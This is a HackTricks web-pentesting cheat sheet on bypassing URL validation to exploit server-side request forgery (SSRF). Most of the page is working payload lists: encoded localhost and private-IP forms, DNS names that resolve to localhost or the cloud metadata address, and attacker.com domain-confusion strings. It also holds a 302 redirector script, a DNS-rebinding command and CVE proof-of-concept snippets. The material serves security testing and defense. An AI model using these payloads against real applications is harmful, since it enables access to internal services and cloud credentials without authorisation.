url-format-bypass.md (15592B)
1 --- 2 title: "URL Format Bypass" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # URL Format Bypass 14 15 ### Localhost 16 17 <details> 18 <summary>Localhost payloads</summary><sup>[[1]](#references)[[2]](#references)</sup> 19 20 ```bash 21 # Localhost 22 0 # Yes, just 0 is localhost in Linux 23 http://127.0.0.1:80 24 http://127.0.0.1:443 25 http://127.0.0.1:22 26 http://127.1:80 27 http://127.000000000000000.1 28 http://0 29 http:@0/ --> http://localhost/ 30 http://0.0.0.0:80 31 http://localhost:80 32 http://[::]:80/ 33 http://[::]:25/ SMTP 34 http://[::]:3128/ Squid 35 http://[0000::1]:80/ 36 http://[0:0:0:0:0:ffff:127.0.0.1]/thefile 37 http://①②⑦.⓪.⓪.⓪ 38 39 # CIDR bypass 40 http://127.127.127.127 41 http://127.0.1.3 42 http://127.0.0.0 43 44 # Dot bypass 45 127。0。0。1 46 127%E3%80%820%E3%80%820%E3%80%821 47 48 # Decimal bypass 49 http://2130706433/ = http://127.0.0.1 50 http://3232235521/ = http://192.168.0.1 51 http://3232235777/ = http://192.168.1.1 52 53 # Octal Bypass 54 http://0177.0000.0000.0001 55 http://00000177.00000000.00000000.00000001 56 http://017700000001 57 58 # Hexadecimal bypass 59 127.0.0.1 = 0x7f 00 00 01 60 http://0x7f000001/ = http://127.0.0.1 61 http://0xc0a80014/ = http://192.168.0.20 62 0x7f.0x00.0x00.0x01 63 0x0000007f.0x00000000.0x00000000.0x00000001 64 65 # Mixed encodings bypass 66 169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 67 0xA9.254.0251.0376 -> hexadecimal, decimal and octal 68 69 # Add 0s bypass 70 127.000000000000.1 71 72 # You can also mix different encoding formats 73 # https://www.silisoftware.com/tools/ipconverter.php 74 75 # Malformed and rare 76 localhost:+11211aaa 77 localhost:00011211aaaa 78 http://0/ 79 http://127.1 80 http://127.0.1 81 82 # DNS to localhost 83 localtest.me = 127.0.0.1 84 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 85 mail.ebc.apple.com = 127.0.0.6 (localhost) 86 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) 87 www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com 88 http://customer1.app.localhost.my.company.127.0.0.1.nip.io 89 http://bugbounty.dod.network = 127.0.0.2 (localhost) 90 1ynrnhl.xip.io == 169.254.169.254 91 spoofed.burpcollaborator.net = 127.0.0.1 92 ``` 93 94 </details> 95 96  97 98 The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses. 99 100 ### Domain Parser 101 102 <details> 103 <summary>Domain parser bypasses</summary> 104 105 ```bash 106 https:attacker.com 107 https:/attacker.com 108 http:/\/\attacker.com 109 https:/\attacker.com 110 //attacker.com 111 \\/\/attacker.com/ 112 /\/attacker.com/ 113 /attacker.com 114 %0D%0A/attacker.com 115 #attacker.com 116 #%20@attacker.com 117 @attacker.com 118 http://169.254.1698.254\@attacker.com 119 attacker%00.com 120 attacker%E3%80%82com 121 attacker。com 122 ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ 123 # double encoded fragment to bypass split("#"): attacker.com%2523@victim 124 ``` 125 126 </details> 127 128 ```text 129 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ 130 ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ 131 ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ 132 ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ 133 Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ 134 ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ 135 ``` 136 137 ### Domain Confusion 138 139 <details> 140 <summary>Domain confusion payloads</summary><sup>[[3]](#references)</sup> 141 142 ```bash 143 # Try also to change attacker.com for 127.0.0.1 to try to access localhost 144 # Try replacing https by http 145 # Try URL-encoded characters 146 https://{domain}@attacker.com 147 https://{domain}.attacker.com 148 https://{domain}%6D@attacker.com 149 https://attacker.com/{domain} 150 https://attacker.com/?d={domain} 151 https://attacker.com#{domain} 152 https://attacker.com@{domain} 153 https://attacker.com#@{domain} 154 https://attacker.com%23@{domain} 155 https://attacker.com%00{domain} 156 https://attacker.com%0A{domain} 157 https://attacker.com?{domain} 158 https://attacker.com///{domain} 159 https://attacker.com\{domain}/ 160 https://attacker.com;https://{domain} 161 https://attacker.com\{domain}/ 162 https://attacker.com\.{domain} 163 https://attacker.com/.{domain} 164 https://attacker.com\@@{domain} 165 https://attacker.com:\@@{domain} 166 https://attacker.com#\@{domain} 167 https://attacker.com\anything@{domain}/ 168 https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com 169 # colon + backslash confusion (CVE-2025-0454 in autogpt) 170 http://localhost:\@google.com/../ 171 172 # On each IP position try to put 1 attackers domain and the others the victim domain 173 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ 174 175 # Parameter pollution 176 next={domain}&next=attacker.com 177 ``` 178 179 </details> 180 181 ### Paths and Extensions Bypass 182 183 If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses: 184 185 ```text 186 https://metadata/vulnerable/path#/expected/path 187 https://metadata/vulnerable/path#.extension 188 https://metadata/expected/path/..%2f..%2f/vulnerable/path 189 ``` 190 191 ### Fuzzing 192 193 The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.<sup>[[4]](#references)</sup> 194 195 ### Automatic Custom Wordlists 196 197 Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header. 198 199 200 [Url Validation Bypass Cheat Sheet](https%3A//portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) 201 202 ### Bypass via redirect 203 204 It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\ 205 For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\ 206 [Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)<sup>[[5]](#references)</sup> 207 208 <details> 209 <summary>Simple redirector for SSRF testing</summary> 210 211 ```python 212 #!/usr/bin/env python3 213 214 #python3 ./redirector.py 8000 http://127.0.0.1/ 215 216 import sys 217 from http.server import HTTPServer, BaseHTTPRequestHandler 218 219 if len(sys.argv)-1 != 2: 220 print("Usage: {} <port_number> <url>".format(sys.argv[0])) 221 sys.exit() 222 223 class Redirect(BaseHTTPRequestHandler): 224 def do_GET(self): 225 self.send_response(302) 226 self.send_header('Location', sys.argv[2]) 227 self.end_headers() 228 229 HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() 230 ``` 231 232 </details> 233 234 ### DNS rebinding bypass (2025+) 235 236 Even when an SSRF filter performs a **single DNS resolution before sending the HTTP request**, you can still reach internal hosts by rebinding the domain between lookup and connection: 237 238 1. Point `victim.example.com` to a public IP so it passes the allow‑list / CIDR check. 239 2. Serve a very low TTL (or use an authoritative server you control) and rebind the domain to `127.0.0.1` or `169.254.169.254` just before the real request is made. 240 3. Tools like **Singularity** (`nccgroup/singularity`) automate the authoritative DNS + HTTP server and include ready‑made payloads. Example launch: `python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080`. 241 242 This technique was used in 2025 to bypass the BentoML "safe URL" patch and similar single‑resolve SSRF filters.<sup>[[6]](#references)</sup> 243 244 ### Explained Tricks 245 246 #### Backslash-trick 247 248 The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.<sup>[[7]](#references)</sup> 249 250  251 252 #### Left square bracket 253 254 The “left square bracket” character `[` in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)<sup>[[2]](#references)</sup> 255 256 #### Other Confusions 257 258 <sup>[[8]](#references)</sup> 259 260 image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)<sup>[[8]](#references)</sup> 261 262 #### IPv6 Zone Identifier (%25) Trick 263 264 Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface: 265 266 ```text 267 http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0 268 http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) 269 ``` 270 271 If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely. 272 273 ### Recent Library Parsing CVEs (2022–2026) 274 275 A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above: 276 277 | Year | CVE | Component | Bug synopsis | Minimal PoC | 278 |------|-----|-----------|--------------|-------------| 279 | 2025 | CVE-2025-0454 | Python `requests` + `urllib.parse` (autogpt) | Parsing mismatch on `http://localhost:\\@google.com/../` lets allow‑lists think host is `google.com` while the request hits `localhost`.<sup>[[9]](#references)</sup> | `requests.get("http://localhost:\\@google.com/../")` | 280 | 2025 | CVE-2025-2691 | Node package `nossrf` | Library meant to block SSRF only checks the original hostname, not the **resolved IP**, allowing hostnames that resolve to private ranges. | `curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1` | 281 | 2024 | CVE-2024-29415 | Node `ip` package | `isPublic()` misclassified dotted‑octal / short‑form localhost (e.g., `0127.0.0.1`, `127.1`) as public, letting filters accept internal targets.<sup>[[10]](#references)</sup> | `ip.isPublic('0127.0.0.1')` returns true on vulnerable versions | 282 | 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | No host filtering; GET requests could reach IMDS/localhost from AI agents.<sup>[[11]](#references)</sup> | User‑controlled URL inside `WebResearchRetriever` | 283 | 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` in userinfo parsed differently by Spring vs browsers, allowing allow‑list bypass.<sup>[[12]](#references)</sup> | `https://example.com\[@internal` | 284 | 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. | — | 285 | 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). | — | 286 287 ### Payload-generation helpers (2024+) 288 289 Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:<sup>[[13]](#references)</sup> 290 291 ```bash 292 # Generate every known bypass that transforms the allowed host example.com to attacker.com 293 python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt 294 ``` 295 296 The resulting list can be fed directly into Burp Intruder or `ffuf`. 297 298 ## References 299 300 - [1] [AlbusSec - Penetration List 08: Server-Side Request Forgery (SSRF) Sample](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) 301 - [2] [PortSwigger Research - New crazy payloads in the URL validation bypass cheat sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) 302 - [3] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) 303 - [4] [0xacb - Recollapse: a tool to help find bypasses for blacklists/regex filters](https://0xacb.com/2022/11/21/recollapse/) 304 - [5] [sirleeroyjenkins - Just Gopher It: Escalating a Blind SSRF to RCE for $15k](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) 305 - [6] [Tenable - How Tenable bypassed the patch for the BentoML SSRF vulnerability (CVE-2025-54381)](https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381) 306 - [7] [xdavidhu - Fixing the Unfixable: Story of a Google Cloud SSRF](https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/) 307 - [8] [Claroty - Exploiting URL Parsing Confusion](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) 308 - [9] [CVE-2025-0454: AutoGPT SSRF via URL parsing confusion](https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe) 309 - [10] [GHSA-2p57-rm9w-gvfp - `ip` package SSRF improper categorization in `isPublic` (CVE-2024-29415)](https://github.com/advisories/GHSA-2p57-rm9w-gvfp) 310 - [11] [GHSA-q25c-c977-4cmh - SSRF in langchain-community WebResearchRetriever (CVE-2024-3095)](https://github.com/advisories/GHSA-q25c-c977-4cmh) 311 - [12] [NVD - CVE-2024-22243 detail](https://nvd.nist.gov/vuln/detail/CVE-2024-22243) 312 - [13] [SSRF-PayloadMaker (GitHub - hsynuzm/SSRF-PayloadMaker)](https://github.com/hsynuzm/SSRF-PayloadMaker)